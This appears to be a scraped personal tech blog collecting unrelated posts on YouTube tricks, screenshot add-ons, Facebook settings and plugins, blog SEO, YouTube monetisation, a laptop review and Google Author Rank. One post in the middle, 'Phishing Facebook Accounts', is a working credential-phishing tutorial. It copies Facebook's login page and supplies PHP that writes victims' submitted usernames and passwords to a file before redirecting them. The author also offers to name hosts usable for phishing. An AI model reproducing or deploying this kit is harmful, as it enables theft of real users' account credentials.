Replay YouTube Videos Automatically

Well, most of us use YouTube for music. The most irritating thing is to hit the replay button to play the song again and again. This also causes disturbance to your work if you can't work without music, like me. So here's a way to replay a YouTube video automatically. All you need to do is cut and paste. Simple, ain't it?

Here's the process

1. Search for the Video you need in YouTube.

2. Then, copy the video ID.

Don't know what is Video ID?

here's an example

this is how the link of an YouTube Video looks like
https://www.youtube.com/watch?v=YyoShQqYK-s

For this Video/URL, the video ID is YyoShQqYK-s (the code after 'v=')

3. After copying this video ID, replace 'Video ID' in the follwing link with the video ID of your video.
http://youtube.googleapis.com/v/VIdeo ID&loop=1

4. Then, copy this link and paste this in the address bar and then click enter.

Now your videos replays automatically.

However, there are drawbacks for this. You can't play VEVO videos and other licensed videos. You can play all youtube licensed videos (I guess, not sure of this :D). Have fun :D :P

Most of us are already using external drives like SD cards, Pen drives and External Hard Disks. Now, if the disks are write protected we will not be able to transfer even a thing into the disk from our PC. Most of you might have faced this problem and, matter of a fact, even I did.

Screen Capture Tools (Online, for Mozilla and for Chrome)

We have so many things on the internet that we wanna store as an image but not a page and some of us might not the way to do it. So, in this post, I will be discussing about various sites, plug-ins for Mozilla and extensions for Chrome that help you take a screen shot. These are very helpful and are easy to handle.

Fire Shot - Plug-in for Mozilla
                               This is a very handy plug-in or add-on available in Mozilla and I assure you this will never let you down, not in any case. You can do almost a complete editing of a picture like annotating, adding watermark, highlight particular text or area, crop, edit, draw, blur and a lot more.

How to get this

• Visit the Fire Shot page on Mozilla
• Click on 'Add to Firefox'.
• Then, click on the install
• If it doesn't work as soon as you install it, go to add-ons tab (ctrl+shift+A).
• There under extensions, click 'Enable' beside Fire Shot.
• It asks to restart to Firefox, do as it says.

Now you're done with the installation of Fire Shot.

Working

•  Right Click on the page that you wish to capture, then click on Fire Shot.
• It provides you options like Capture Entire Page, Capture Visible Area and Capture Selected Area.

Difference between Capture Entire Page and Capture Visible Area : The difference between these two is quite simple. If you choose Capture Entire Page, it capture the page from top to bottom, and If you choose Capture Visible Area, it captures only the area of page that is visible on your monitor i.e., the area of the page that you're in.

•  And, when you click on any of above three options, you are given options like edit, save, save as pdf etc.
• Select the option that you want. After that, you are allowed to select an area of the page if you choose Capture Selected Region or captures automatically if you choose any of the other two options.

Editing and Storage
           If you choose 'Edit' option, you can get a wide range of features to edit your pic. Now, we go in detail about the options and their functions.

• You are provided with basic options like export, upload, copy, mail and print. Now, when I say 'Upload', you might get a doubt, "Where does the image gets uploaded?" There's a site called easycaptures.com. You can create an account an upload screen captures and you pictures to the site or you can upload anonymously.
• You are given a hell lot of options through which you can crop, add a shape, draw anything you wish to, highlight an area, add a pointer, add a text, add another image etc.
• The features that I like the most in this add-on is Invert and Glow. With these features, you can highlight everything from an image to a text.

Now, here's the drawbacks of this add-on. The sound effect when you capture is a bit irritating. You cannot use Mozilla when the Fire Shot editor is running.

Here's the demo given by the Fireshot.

Awesome Screenshot : Capture and Annotate
                           This is an extension in Google Chrome that helps you capture. This extension provides most of the options, but not all, provided by Fireshot.

How to get this

• Go to Awesome Screenshot page on Google Chrome.
• Click on 'Add to Chrome' and then 'Click Install'
• After installing the extension, you get a logo (camera lens) to the right top on the screen.

Working

• Click on the logo and you are given three options Capture Entire Page, Capture Visible Area and Capture Selected Area. Choose as you wish according to your need.
• After capturing you are given options that allow you to edit picture. Options are almost similar to that of Fireshot.

Editing and Storage
                             Editing with this extension is easier and, like I said, its almost similar to that of Fireshot. You can crop, annotate, draw lines etc. With this extension you can highlight an area in the picture but not like the way you can in Fireshot. The highlight feature in Fireshot is kind of more effective.
 
                              You can store your screen captures temporarily in awesomescreenshot.com and that gives you a link through which you can share your screenshot. Or you can save it on diggo.com or Google Drive.

Online Screen Capture Tool - Web Screenshots
                                     This in an online screen capture that helps you capture. It's quite simple to use. You give it an URL and it takes a snap of the page and gives a link to download the screenshot.

How to Get it

• You need not install any extension or add-on. You just go to the website and provide the URL of the page that you want to take a snap of.

Editing and Storage

• You neither have options to edit the picture nor to store it online.

There are too many drawbacks for this online tool. First thing is you can't capture a particular area on the page. You can't use this for sties like Facebook. For instance, if you wanna take a picture of your homepage in facebook (the URL of your homepage after logging in is www.facebook.com) and you provide the URL, it provides the screenshot of the Login Page in Facebook. The same case is with the G-mail, if you want to take a snap of an email and you provide the URL, it gives you the snap of Gmail login page. And the drawbacks go on.

So, I'm done now. I've given you an add-on for Mozilla, Extension For Chrome, An online tool for Screen Capture. Had any problems with these? Feel free to ask.

Manage The Notifications That You Get From Groups

Restrict The Notifications You Get From Groups
In my last I've mentioned about restricting the notifications that you receive to your email. Facebook groups are more prevalent these days. They help people of same mindset, ideas, views, talent or capabilities to share their ideas and thoughts. But the only problem with these groups is anyone can add you to any group without your approval. All you get is a notifications that you are added to that group. And if this notification is left unseen just because of the notifications that you get from your friends or if you don't care about notifications, there is no way that you are going to know that you are in a particular group. If any person in such group post, comment or like you get a notification. And your notification tab may get flooded just because of the notifications from these type of groups. So, I'm gonna explain about restricting the notifications that you get from groups in Facebook.

 You are provided with three options beside each group you are in. Those three are 'Friends' Posts', 'All Posts' and 'Off'. If you select 'Friends' Posts', you are notified only about the posts that your friends post in the particular group. The same is the case with All Posts. If you choose 'Off', you are notified about any of the posts in the group.

•  So, select the option that you wish.

Restrict The Notifications That You Get From Applications And Games

 Now, I know how much fed up you are with the notifications that people send you about games. They are annoying, So, the process is same as the above but there's a slight difference. The process is as follows

 

• The process is same as above until the second step.
• After that, Click on 'App Requests and Activity'.
• There, unselect the apps that you would not like to get notifications from.

That's it. You're done. Any problem? Feel free to ask.

Facebook Plugins for your Blogger

Facebook, the topmost social networking site, is helping bloggers to increase their readers by providing them with many tools. In addition to the 'Like' button for your page, Facebook provides many other features which you may not know. Some of there are Send, Follow, Recommendation, etc. This post is about Facebook's plugins for blogs and websites and their advantages. These plugins help readers to like, comment, send, share the posts they like or follow the blogger or the blog or to sign up for your site with their Facebook site. Being a blogger you gotta be on-par with the social networking tools and plugins.

The following are the plugins provided by Facebook.

Like Button
Most of you might know about this plugin as, I think, this is the most used plugin. This button lets the readers to 'like' a post in your site. As with the Facebook posts, the post which (in your site) reader likes gets published in the reader's friends' newsfeed. The post is visible to all his friends and in this way it drives traffic to your site.

Send Button
This button helps readers to Send the content in yout site to their friends. This drives traffic as well.

Like Button Vs. Send Button
The effectiveness of the 'Send' button is more when compared to the 'Like' button and the spread of the 'Send' button is less when compared to the 'Like' button. For instance, If I am one of your reader and I like a post, the post gets shared in my Timeline and all my friends will be able to see it. But there is no assurance that everyone of them will have a look at the post. But in the case of 'Send' button, I can send a personal message to one or a few of my friends and most of them might have a look at it.

Follow Button
The Follow button replaces the Subscribe Button. This allows your readers to subscribe to your account directly from your site.

A reader, who subscribes or follows you, will recieve your every single post in their newsfeed. So, if the reader responds to the post with a 'Like', 'Comment' or a 'Share', It gets published in his Timeline and this drives traffic to your site.

Comments
This plugin helps your readers to comment on any post in your site. If the reader comment's on your post, it gets published in his friends' newsfeed and this drives traffic to your site.

Activity Feed
This plugin shows readers about the recent Facebook activity in your site. For example, if any of the readers comment, like, send or share any of your posts, the post will be visible in the Activity Feed box for other readers to see the post.

Recommendations Box
This plugin gives users a personlized list of suggestions for the posts in your site they might like.

Recommendations Bar
This plugin allows readers to share and/or like the content and to get recommendations.

Like Box
This plugin enables users to like your Page in Facebook directly from the site. This buttons is quite different from the like button. Like buttons allows users to like a particular post in your site. On the other hand, Like Box helps users to Like your Facebook Page.

Registration
This plugin allows your readers to sign up for your website with their Facebook account.

Login Button
This plugin, in addition to the Login Button, shows profile pics of the reader's friends who already have signed up for your site.

Facepile
This plugin displays the Facebook profile pics of users who have signed up for your site or have liked your page.

Image Optimization In Blogger To Drive Traffic

The main aim of any blogger is to get as many views as possible, I guess. Your images can help you get your more views. All you gotta do is just to put the keywords within the image. Here is the process. But read on till the last word.

About Titles and Tags
The Tags and Titles in the images, that you use in an image, describe about the image to the Google Search Engine bots as these bots cannot read the text on images. So, using these tags and titles you can get more traffic.

Image Tagging
Procedure-1
As soon as you upload an image, you get a code in the HTML. Change the code of the image as follows, adding alt="KEYWORDS" between. KEYWORDS is replaced by your keywords. For example, if the image is of Eminem, you can replace "KEYWORDS" by "slimshady,marshall-mathers". Still didn't get me. Well, go through the images. 

BEFORE

AFTER

Click on the image for a bigger view

This method, called as image tagging, can bring you a noticeable increase in amount of views by driving traffic.

Procedure-2
Still can't figure it out. Well, here's quite simple and direct process. In blogger, by clicking on the image, you get, options below the image. There, click on the 'Properties'. Now, you are prompted with a pop up asking you to enter the Title and Alternate Search Keywords through text boxes mentioned as 'title text' and 'alt text' respectively. Enter the title and the alternate keywords and that's it, you're done. Piece of cake, ain't it?

Click on the image for a bigger view

A few steps that might help you write alternate keywords for your image

• Use main keyword while writing both title and tags. Take care that you won't make them same.
• Do NOT write whole sentences. For example, if your post is about Image Tagging, do not make the tag as "use image tagging to get more views by driving traffic", break it into different but important parts, that will define your post, like "image tagging","drive traffic","image optimization". Hope you got it.
• Do NOT try to tag a large number of words. Make the tags limited to three or four solid words.

So, that's it I can tell you for now. Keep visiting for new tricks and tools. Happy Blogging :D.

Youtube Monetisation Part II

Videos that can get monetized
I have already discussed about Monetisatoin in Youtube. Now the question is about the videos. What kind of Videos are eligible for monetisation? Well, here's the answer.

1. Your videos are eligible if you own rights to everything in the video. The video should contain only your content. It should satisfy all the Terms and Conditions.
2. Your video is not eligible if it contains the content that you do not own.

Your video contains your content and you own the rights to everything and still Youtube rejects the monetisation,  you can request monetisation by claiming that you own the content and by providing the proof.

Advertisement Formats
Overlay in-video ads : These are transparent ads. These ads appear on the lower portion of the video. These adscan be hidden by the viewer. These ads appear in between the video (mostly at the 15 secong mark). You can enable this ads for your video. To enable these ads for your video go to the Video Manager page and select the video that you would like to enable in-video ads and clik edit. Then on the Monetisation tab, check the Overlay in-video ads.

True View In-Stream Ads : These type of ads appear before the video. After 5 seconds, the viewer can choose to continue watching the ad or to skip.

Standard In-Stream Ads : These videos appear before, during or after the video and must be watched. There is no option to skip these ads after particular time. You must watch the whole video ad to watch the video you selected. These ads cannot be more than 30 seconds.

Earn through YouTube - Youtube Monetastion Part I

Youtube Monetisation

Well, now I came up with something that earns you money. In fact, your videos gonna earn you some bucks, to be clear. And yeah, I'm not kidding. A feature called Monetisation in YouTube lets you earn through your videos. But, to use this feature, you must have an Google Adsense account. So, what are you waiting for? Go shoot some videos. But before, learn about enabling Monetisation.

Enabling Monetization
1. Go to YouTube 'Settings'. There, to your left hand side you have 'Monetisation'.
2. Click On Monetisation, and you are given about the Account's Monetisation Status. If it is disabled, you are given an option to enable it.

 (Click On the Image for a bigger view)

3. Click On 'Enable My Account'. You can see the 'Terms and Conditions'. Check all the boxes and click next.
4. After accepting Terms and Conditions, you are asked about the advertisements (there are three formats) that you would like to display while your videos playing.
5. Select the ads that you'd like to have and click 'Monetise'.
That's it. You're done. Here's the video tutorial.(In the Video, selecting of ad formats was not shown)

Activating Monetisation for Videos
                   You have an opportunity to choose the videos which you'd like to monetize i.e., use to display ads, and which you'd not to.
 To activate monetisation, Select the video, Click on the 'Actions' on top and Click 'Monetise'. If the video is monetised, the dollar sign beside the video in the control panel turns white (as shown in the pic).

Youtube will not accept every video you uploaded. I will, very shortly, post about the videos that Youtube would accept.

Phishing Facebook Accounts

Here's a complete procedure of how I created a Phishing site for Facebook. I have no intro for this post as you might not have been seeing this if you don't know about phishing. So, here I go, straight to the post. Remember, this is the way I created my own phishing site.

Follow the below steps(Images at the end)
1. Right click on the Login Page of Facebook and click on 'View Page Source'
2. Copy the whole thing and save it in your PC. I'd suggest you to save it in Notepad rather than MS Word.
3. And save this code below separately.

<?php
header("Location: http://i45.tinypic.com/2n219xk.jpg");
$handle = fopen("login.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

In the above code, the link beside location is going to be the page after logging into the pishing site, and in the very next line, you can see 'login.txt', that is where the victims' usernames and passwords are saved. The server you use automatically creates the file if you forgot to create it or saves it in the existing file if you created the file. You can replace the 'login.txt' by any other name you wish.

4.Upload the above two files renaming the files as 'filename.txt.php' in any of the servers. The server that I use has clearly mentioned that they should not be used for Phishing. So, if you wish to know about those servers, mail me at steva4u@gmail.com. I'll send you the sites.

That's it you are done. Now, you own a phishing site..........!!! Have problem with this? Feel free to ask.I'll post a video if you wish to have one.

Review Tagging in Facebook

Most of the Facebook Users' Timeline is filled with photos that are in no way related to the user as many page admins tag them in their posts just to increase their spread. I know what that feels like cause I've been through it. And I figured a way to get out of this mess and have your Timeline clear. So, here I go. You can stop that thing by unliking the page but you can't do that if your friend's page or your dear ones. So, here's the way you can get out of that unwanted tagging.

Follow the below steps(images below)
1. Go to your 'Privacy Settings', then click on 'Timeline and Tagging'.
2. There you can see 'Review posts your friends tag you in before they appear on your timeline'. Beside this you have an option 'Edit'. Click on 'Edit'.
3. Then 'Enable' it.

That's it you're done. And from then, if anyone tags you in any of the post, you get a notification and you have the choice to hide it in your timeline. But remember one thing, this photos do show up in your 'photos of me' section. Had any problem with this? Feel free to ask :D

Acer Aspire S7 Specs, Pros and Cons

Acer Aspire S7

This is a wonderful mixture of high-tech hardware enclosed in an ultra-slim body which is fabricated out of toughened glass.

Pros

• This has a premium built quality. It is light weighing around 1kg and this makes it easier to carry. It boots up in less than 12 secs. The 'Instant On' features ensures that it is powered as soon as you open the lid.
• Acer Aspire S7 can almost handle anything. It can play FullHD videos, image editing in Photoshop, office work, web browsing, apps etc. It's multitouch display is receptive to taps and swipes, colors are bright and vivid, and text is rendered crisply.
• The Acer Aspire S7 comes with an additional external battery pack that can be attached to its base. In normal usage, one can expect 9 hours of average work from both batteries.
• The backlit keyboard with its three levels of brightness is quite helpful to work in dark environments.

Cons

• The Core i7 processor in Acer Aspire S7 is overskill. Software that needs such processing power like gaming and image editing is sure to be undeserved by it's 11.6-inch screen. Similarly, its high resolution of 1920x1080 makes icons look miniscule and fonts unreadable on display. But users can opt for lower resolution for a clear view.
• Though the speakers in S7 have the Dolby label, they are not that good.
• The keys on the keyboard are very slightly raised, leaving little room for tactile feedback during touch typing, This affects the typing experience.

Specs

Google Author Rank - An Overview

Author Rank

Author rank is a feature from Google. Author rank and its working is similar to Page rank. Didn't get me? Well, Google gives a Page Rank to a page on the basis of traffic, page hits and other factors. And the Pages with higher Page rank are given a better position in Google Search Results. Now, the feature, Author Rank, has been introduced to rate the people or the blogger who write that content.

Untill Google + stepped into the web market, Google had no way to identify the Author. But now, through Google +, one can also know almost everything about the person like age, qualification, personal details and so on. Now, the sole purpose of the Author rank is to identify the author, their skill in certain subjects and what others think of his content.

There are quite a few things that are likely to effect the Author rank. ANd they are the no. of followers the author has in social networks, how often the author's content is shared, Plus 1's, likes, tweets, mentions etc. One thing that I want you to know is that the Author rank depends only on the above factors but not just the website or the host his content is published. Author rank will influence a content's search results performance. So your Author rank will influence your content's rank.

Author rank will inform page rank and this means that an Author with a higher rank will also effect a site's performance in Search Engine Results Page (SERPs).

Getting Started

First, you need to claim authorship of your content. You can do this by blogging through a verified Google+ profile. Your Google+ profile must have a link pointing to the pages/websites that host your content. You can claim authorship by inserting the tag <rel=”author” link=”your-googlplus-url” /> into your content. I'll discuss even the other ways to claim Authorship later. If you have several authors producing content for your website, you'll have tag each author in their respective articles and link to the website from the "Contributes To" field in Google+ Profile.

Tips to get a better Author Rank

Improve your Social activity

Try to increase the number of the circles you are in. This indicates how popular the author is and his engagement on Google Plus. Get more number of followers.
The no. of +1's and Shares do count. Not only +1's and shares in Google Plus counts but also likes, shares, tweets etc. in Twitter, Facebook and other social networking sites do count.

Which counts more +1 or a Share

             +1 and share are not same. But they do have effect on your Author Rank. Now you might have a doubt which effects most. Well, you all know that +1 and Share in Google+ are similar to that of Like and Share in Facebook. +1 function is similar to that of Like. And you know, Like is easy to click and is just an easy and quick task. It doesn't take much time. But, only good posts are shared. Get linked with other Google tools and sites like YouTube etc.

So never forget to share, +1 or like a good content that you pass through because that might effect the authors Author Rank.

Write Guest Posts

The number of sites you contribute does matter to decide your Author Rank. So, write as much as guest posts you can and do contribute to other sites. Try to guest post in blogs with high Google Page Ranks. Because acceptance as a guest blogger by other popular blogs is a measure of your popularity as an author.

Do reply to comments on your post

Respond to the comments of your reader's as the number of comments on your post is important. This shows the way you treat your readers.

Stick to your sort of Content (or) niche

Lets start with an instance. How would it be if an author who is good at creating posts about technology posts about a food recipie. Got me? Expertise is the main things to improve Google Author Rank. By posting something out of your niche, you dilute your niche Author Rank and also lower your Author Rank

These are the few steps to increase your Author Rank. But, Content is the important thing. So, first make your content as good as possible. Happy Blogging........... :D

NOTE: At present Google Author Rank is inactive. It might be out in couple of weeks or so maybe a few days. I guess it might take even 6-9 months for Google Author Rank to come into full effect.......!
